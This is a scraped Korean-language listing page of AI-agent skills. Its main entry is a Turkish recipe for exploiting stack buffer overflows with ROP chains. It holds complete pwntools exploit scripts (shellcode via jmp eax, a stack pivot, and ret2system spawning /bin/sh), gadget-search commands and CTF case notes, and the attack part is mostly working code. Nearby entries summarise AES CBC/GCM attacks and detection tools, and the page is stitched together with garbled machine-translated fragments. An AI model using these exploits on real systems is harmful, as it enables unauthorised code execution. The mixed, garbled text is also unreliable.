21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
Stack buffer overflow + ROP chain ile kontrol akışı ele geçirme — NX etkin, canary yok senaryoları için eksiksiz tarif
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
설치 방법 보기설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.
Stack tabanlı buffer overflow ile ROP (Return-Oriented Programming) zinciri kurarak kontrol akışını ele geçirme tekniği.
Binary'de şunlardan birini görürsen bu yolu dene:
gets(), strcpy(), scanf("%s"), read() sabit tampon boyutuyla kullanılmışchecksec çıktısında NX enabled (No eXecute) var ama Canary: No veya Partial RELROROPgadget --binary ./binary ile jmp esp, jmp rax, pop rdi; ret gibi gadget'lar mevcutchecksec --file=./binary
| Özellik | Sonuç | Anlamı |
|---|---|---|
| NX enabled | Kötü | Stack'e shellcode yazıp çalıştıramazsın → ROP gerekli |
| NX disabled | İyi | Klasik shellcode stack'e yazılıp çalıştırılabilir |
| Canary: No | İyi | Stack canary koruması yok, overflow düz geçer |
| Canary: Yes | Kötü | Canary'yi sızdırman ya da brute-force etmen gerekir |
| PIE: No | İyi | Binary adresleri sabittir, doğrudan kullanabilirsin |
| PIE: Yes | Kötü | ASLR + PIE birleşimi → önce adres sızdırman gerekir |
| RELRO: Partial | İyi | GOT yazılabilir → GOT overwrite mümkün |
| RELRO: Full | Kötü | GOT salt okunur |
from pwn import *
# 1. Adım: cyclic pattern üret ve gönder
io = process('./binary')
io.sendline(cyclic(200))
io.wait()
# 2. Adım: core dump'tan EIP/RIP değerini al
core = Coredump('./core')
# 32-bit:
offset = cyclic_find(core.eip)
# 64-bit:
offset = cyclic_find(core.read(core.rsp - 8, 4))
print(f"Offset: {offset}")
gdb ./binary
(gdb) run <<< $(python3 -c "from pwn import *; print(cyclic(200))")
# Segfault sonrası:
(gdb) info registers
# EIP/RIP değerini not al, sonra:
python3 -c "from pwn import *; print(cyclic_find(0x61616174))"
# Temel gadget'lar
ROPgadget --binary ./binary | grep -E "jmp (esp|rsp|eax|rax)"
ROPgadget --binary ./binary | grep "pop rdi"
ROPgadget --binary ./binary | grep "pop rsi"
ROPgadget --binary ./binary | grep ": ret$"
# ropper ile alternatif
ropper -f ./binary --search "jmp rsp"
#!/usr/bin/env python3
from pwn import *
# Binary ve bağlam
context.arch = 'i386'
context.log_level = 'info'
elf = ELF('./binary')
io = process('./binary')
# 1. Gadget'ları bul
jmp_eax = 0x08049abc # ROPgadget ile buldun → jmp eax
# 2. Shellcode (execve /bin/sh, 32-bit)
shellcode = asm(shellcraft.sh())
# 3. Payload: [shellcode][padding][jmp_eax adresi]
offset = 28 # cyclic ile bulduğun offset
padding = offset - len(shellcode)
payload = shellcode
payload += b'A' * padding
payload += p32(jmp_eax)
# 4. Gönder
io.sendlineafter(b'Input:', payload)
io.interactive()
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
elf = ELF('./binary')
io = process('./binary')
jmp_rax = 0x401234 # jmp rax gadget
sub_rsp_jmp = asm('sub rsp, 0x2a0; jmp rsp') # stack pivot
shellcode = asm(shellcraft.sh())
# feedback tamponu → sub rsp shellcode
io.sendafter(b'Feedback:', sub_rsp_jmp.ljust(32, b'\x90'))
# overflow → jmp rax
offset = 40
payload = b'A' * offset
payload += p64(jmp_rax)
io.sendafter(b'Name:', payload)
io.interactive()
#!/usr/bin/env python3
from pwn import *
elf = ELF('./binary')
io = process('./binary')
POP_RDI = 0x401293 # pop rdi; ret
RET = 0x40101a # ret (stack alignment için)
WIN = elf.sym['win'] # varsa win() fonksiyonu
offset = 72
payload = b'A' * offset
payload += p64(RET) # 16-byte hizalama (Ubuntu ABI)
payload += p64(POP_RDI)
payload += p64(next(elf.search(b'/bin/sh\x00')))
payload += p64(elf.plt['system'])
io.sendlineafter(b'> ', payload)
io.interactive()
Durum: 32-bit ELF, NX enabled, no canary, no PIE. gets() overflow.
Çözüm adımları:
checksec → NX var, canary yokROPgadget --binary ./vuln | grep "jmp eax" → gadget bulundujmp esp shellcode buffer başına yerleştirildijmp eax ile buffer'a atlandı, oradan jmp esp → stack shellcode çalıştıWriteup: https://medium.com/@AdvDebugy/picoctf-ropfu-ctf-writeup-5f25a033f0cf
Durum: 32-byte overflow, feedback[7]=\0 truncation var.
Çözüm: jmp rax gadget ile feedback buffer'a atlandı, orada sub rsp,0x2a0; jmp rsp yazılı, stack shellcode → shell.
Writeup: https://medium.com/@z.ishan_Ansari/handoff-f6ec74face4d
Durum: 32-bit ELF, kod ve stack sürekli F₂-lineer PRNG ile relocation yapıyor.
Çözüm: 512×512 F₂ lineer cebir sistemi Sage ile çözüldü, PRNG state kırıldı, relocation-aware breakpoint sonrası /bin/sh ROP.
Araçlar: Ghidra, SageMath, z3, GDB Python API, pwntools
Writeup: https://www.kalmarunionen.dk/writeups/2023/defcon_quals/ifuckup/
system() çağrısından önce ekstra ret gadget koy — RSP 16-byte hizalı olmalı, aksi hâlde movaps SIGSEGV verirgets() null-byte'ta durmaz, read() belirtilen n'e kadar okur — padding hesaplarken karıştırma\n ekler; sendafter/send kullan, sonra elle \n gönderchecksec çalıştırret hizalama: 32-bit'te hizalama sorunu yok; ekstra ret ekleme아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.
로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.
아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.
21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
AES CBC/ECB modlarına karşı kriptografik bütünlük saldırıları — bit flipping, IV manipulation, ECB cut-and-paste, CBC-MAC length extension, IV reuse
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
AES-GCM ve ChaCha20-Poly1305 nonce yeniden kullanımı saldırısı — GF(2^128) polinom kök bulma ile Hash Key kurtarma ve MAC sahteciliği.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
tespit etmeabnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical baselines and time-series anomaly Tespit.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to tespit etmereentrancy, integer overflow, access control, and other vulnerability classes before Dağıt:ment to Ethereum mainnet.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
Parses Kubernetes API server audit logs (JSON lines) to tespit etmeexec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat Tespit rules from audit event patterns. Use investigating yaparken Kubernetes cluster compromise or building k8s-specific SIEM Tespit rules.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.